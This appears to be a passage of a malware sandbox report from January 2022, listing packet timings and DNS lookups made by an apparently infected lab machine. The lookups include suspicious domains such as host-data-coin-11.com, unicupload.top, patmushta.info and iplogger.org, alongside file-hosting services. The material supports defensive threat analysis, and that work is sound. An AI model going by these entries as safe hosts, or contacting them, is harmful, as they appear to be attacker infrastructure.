Jan 14, 2022 20:30:21.920094967 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920119047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920121908 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920141935 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920142889 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920165062 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920187950 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920190096 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920209885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920212984 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920233011 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920248985 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920254946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920265913 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920277119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920291901 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920299053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920316935 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920320988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920336962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920341969 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920362949 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920367956 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920397997 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920402050 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920420885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920420885 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920440912 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920443058 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920464993 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920466900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920480013 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920485020 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920504093 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920514107 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920528889 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920535088 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920552969 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920557022 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920569897 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920578003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920595884 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920598984 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920613050 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920620918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920639038 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920640945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920663118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920663118 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920675993 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920684099 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920701027 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920706987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920723915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920727968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920747042 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920748949 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920761108 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920769930 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920789003 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920792103 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920804977 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920811892 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920825958 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920833111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920852900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920854092 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920866966 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920876026 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920891047 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920897007 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920916080 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920917988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920939922 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920939922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920958996 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920962095 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920983076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920988083 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.921005011 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.921009064 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.921022892 CET	49928	80	192.168.2.4	81.163.30.181

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 20:29:09.717817068 CET	192.168.2.4	8.8.8.8	0xc52	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.181456089 CET	192.168.2.4	8.8.8.8	0x50b7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.642838955 CET	192.168.2.4	8.8.8.8	0xc074	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.815781116 CET	192.168.2.4	8.8.8.8	0xdff0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.981431007 CET	192.168.2.4	8.8.8.8	0x1085	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:11.163989067 CET	192.168.2.4	8.8.8.8	0xa4aa	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:12.559750080 CET	192.168.2.4	8.8.8.8	0xa259	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:13.018269062 CET	192.168.2.4	8.8.8.8	0x778e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:13.470618010 CET	192.168.2.4	8.8.8.8	0x833b	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.160757065 CET	192.168.2.4	8.8.8.8	0x3a22	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.331547976 CET	192.168.2.4	8.8.8.8	0xd7c9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.498477936 CET	192.168.2.4	8.8.8.8	0x4bcf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.069087982 CET	192.168.2.4	8.8.8.8	0xa142	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.254492044 CET	192.168.2.4	8.8.8.8	0x4c77	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.430603027 CET	192.168.2.4	8.8.8.8	0x81eb	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.583122015 CET	192.168.2.4	8.8.8.8	0xc787	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.754019022 CET	192.168.2.4	8.8.8.8	0x40fb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.923821926 CET	192.168.2.4	8.8.8.8	0xca44	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:17.383294106 CET	192.168.2.4	8.8.8.8	0x863	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:17.549067974 CET	192.168.2.4	8.8.8.8	0x9726	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.420042992 CET	192.168.2.4	8.8.8.8	0x96a6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.596793890 CET	192.168.2.4	8.8.8.8	0xe326	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.781554937 CET	192.168.2.4	8.8.8.8	0x1a4e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:20.140119076 CET	192.168.2.4	8.8.8.8	0x4a7f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.354924917 CET	192.168.2.4	8.8.8.8	0x10bc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.519073963 CET	192.168.2.4	8.8.8.8	0xaddd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.720685959 CET	192.168.2.4	8.8.8.8	0x5f8e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.898070097 CET	192.168.2.4	8.8.8.8	0x1acd	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.476651907 CET	192.168.2.4	8.8.8.8	0xf661	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.665709019 CET	192.168.2.4	8.8.8.8	0x14c4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.838196993 CET	192.168.2.4	8.8.8.8	0xe7cb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.077847004 CET	192.168.2.4	8.8.8.8	0x9952	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:37.770320892 CET	192.168.2.4	8.8.8.8	0x3059	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.191591024 CET	192.168.2.4	8.8.8.8	0x55ea	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.362592936 CET	192.168.2.4	8.8.8.8	0x7678	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.820290089 CET	192.168.2.4	8.8.8.8	0xcf52	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.001112938 CET	192.168.2.4	8.8.8.8	0xbff0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.171740055 CET	192.168.2.4	8.8.8.8	0xa2f1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.384460926 CET	192.168.2.4	8.8.8.8	0x8df1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.576780081 CET	192.168.2.4	8.8.8.8	0x4328	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.759460926 CET	192.168.2.4	8.8.8.8	0xfe2b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.955866098 CET	192.168.2.4	8.8.8.8	0xd0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.140610933 CET	192.168.2.4	8.8.8.8	0x4039	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.306057930 CET	192.168.2.4	8.8.8.8	0xa0aa	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.476068974 CET	192.168.2.4	8.8.8.8	0xc6d3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.657352924 CET	192.168.2.4	8.8.8.8	0x8431	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.830569029 CET	192.168.2.4	8.8.8.8	0x8d3d	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.056298018 CET	192.168.2.4	8.8.8.8	0xee16	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.218890905 CET	192.168.2.4	8.8.8.8	0xdf9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.380956888 CET	192.168.2.4	8.8.8.8	0xbc85	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.825635910 CET	192.168.2.4	8.8.8.8	0xc6ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.002545118 CET	192.168.2.4	8.8.8.8	0xafa7	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.220135927 CET	192.168.2.4	8.8.8.8	0xce80	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.391541004 CET	192.168.2.4	8.8.8.8	0x66db	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.554003000 CET	192.168.2.4	8.8.8.8	0x75ac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.713959932 CET	192.168.2.4	8.8.8.8	0x81b7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.879584074 CET	192.168.2.4	8.8.8.8	0x3011	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:02.214329958 CET	192.168.2.4	8.8.8.8	0x5c1a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:02.380536079 CET	192.168.2.4	8.8.8.8	0xee93	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.107853889 CET	192.168.2.4	8.8.8.8	0xa06f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.271703959 CET	192.168.2.4	8.8.8.8	0xce9b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.445702076 CET	192.168.2.4	8.8.8.8	0x87ab	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.621660948 CET	192.168.2.4	8.8.8.8	0x4535	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:11.996265888 CET	192.168.2.4	8.8.8.8	0xcf0a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:12.182595968 CET	192.168.2.4	8.8.8.8	0xbcea	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:12.377898932 CET	192.168.2.4	8.8.8.8	0x475c	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:17.901901960 CET	192.168.2.4	8.8.8.8	0xe8c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.180469036 CET	192.168.2.4	8.8.8.8	0x2817	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.268348932 CET	192.168.2.4	8.8.8.8	0xfb9d	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.416841030 CET	192.168.2.4	8.8.8.8	0xe2eb	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:20.727615118 CET	192.168.2.4	8.8.8.8	0xf1ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:20.905186892 CET	192.168.2.4	8.8.8.8	0x38f1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:23.109894991 CET	192.168.2.4	8.8.8.8	0xcf31	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:27.657519102 CET	192.168.2.4	8.8.8.8	0x803b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:27.846710920 CET	192.168.2.4	8.8.8.8	0x4d74	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.016140938 CET	192.168.2.4	8.8.8.8	0xdb9b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.256848097 CET	192.168.2.4	8.8.8.8	0xfaf7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.459739923 CET	192.168.2.4	8.8.8.8	0x78e4	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.469984055 CET	192.168.2.4	8.8.8.8	0xcb6	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:31.864511967 CET	192.168.2.4	8.8.8.8	0xa7eb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:32.156472921 CET	192.168.2.4	8.8.8.8	0xe5f1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:32.393162012 CET	192.168.2.4	8.8.8.8	0xcd5e	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:34.850267887 CET	192.168.2.4	8.8.8.8	0xef5d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.069546938 CET	192.168.2.4	8.8.8.8	0xe884	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.279342890 CET	192.168.2.4	8.8.8.8	0xd4ee	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.785237074 CET	192.168.2.4	8.8.8.8	0x7bd0	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.930880070 CET	192.168.2.4	8.8.8.8	0x2726	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.214027882 CET	192.168.2.4	8.8.8.8	0x3fe1	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.502847910 CET	192.168.2.4	8.8.8.8	0xc3	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:48.241736889 CET	192.168.2.4	8.8.8.8	0xee5a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:31:08.601046085 CET	192.168.2.4	8.8.8.8	0x1b20	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 14, 2022 20:29:10.019198895 CET	8.8.8.8	192.168.2.4	0xc52	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.490426064 CET	8.8.8.8	192.168.2.4	0x50b7	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.660072088 CET	8.8.8.8	192.168.2.4	0xc074	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:10.833611012 CET	8.8.8.8	192.168.2.4	0xdff0	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:11.001287937 CET	8.8.8.8	192.168.2.4	0x1085	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:11.183374882 CET	8.8.8.8	192.168.2.4	0xa4aa	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:12.869715929 CET	8.8.8.8	192.168.2.4	0xa259	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:13.305824041 CET	8.8.8.8	192.168.2.4	0x778e	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:13.490113020 CET	8.8.8.8	192.168.2.4	0x833b	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.180360079 CET	8.8.8.8	192.168.2.4	0x3a22	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.349201918 CET	8.8.8.8	192.168.2.4	0xd7c9	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:15.812786102 CET	8.8.8.8	192.168.2.4	0x4bcf	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.087862968 CET	8.8.8.8	192.168.2.4	0xa142	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.274111032 CET	8.8.8.8	192.168.2.4	0x4c77	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.533947945 CET	8.8.8.8	192.168.2.4	0x81eb	No error (0)	unicupload.top	54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.602067947 CET	8.8.8.8	192.168.2.4	0xc787	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:16.773143053 CET	8.8.8.8	192.168.2.4	0x40fb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:17.236701965 CET	8.8.8.8	192.168.2.4	0xca44	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:17.402679920 CET	8.8.8.8	192.168.2.4	0x863	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:17.859249115 CET	8.8.8.8	192.168.2.4	0x9726	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.439167023 CET	8.8.8.8	192.168.2.4	0x96a6	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.616394997 CET	8.8.8.8	192.168.2.4	0xe326	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:19.801878929 CET	8.8.8.8	192.168.2.4	0x1a4e	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:20.159404039 CET	8.8.8.8	192.168.2.4	0x4a7f	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.372855902 CET	8.8.8.8	192.168.2.4	0x10bc	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.540100098 CET	8.8.8.8	192.168.2.4	0xaddd	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.738399982 CET	8.8.8.8	192.168.2.4	0x5f8e	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.921998978 CET	8.8.8.8	192.168.2.4	0x1acd	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.921998978 CET	8.8.8.8	192.168.2.4	0x1acd	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.921998978 CET	8.8.8.8	192.168.2.4	0x1acd	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.921998978 CET	8.8.8.8	192.168.2.4	0x1acd	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:23.921998978 CET	8.8.8.8	192.168.2.4	0x1acd	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.495446920 CET	8.8.8.8	192.168.2.4	0xf661	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.683790922 CET	8.8.8.8	192.168.2.4	0x14c4	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:25.859040022 CET	8.8.8.8	192.168.2.4	0xe7cb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:35.107043982 CET	8.8.8.8	192.168.2.4	0x9952	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:37.789823055 CET	8.8.8.8	192.168.2.4	0x3059	No error (0)	patmushta.info	94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.210695982 CET	8.8.8.8	192.168.2.4	0x55ea	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.657924891 CET	8.8.8.8	192.168.2.4	0x7678	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:47.839870930 CET	8.8.8.8	192.168.2.4	0xcf52	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.020026922 CET	8.8.8.8	192.168.2.4	0xbff0	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.191282988 CET	8.8.8.8	192.168.2.4	0xa2f1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
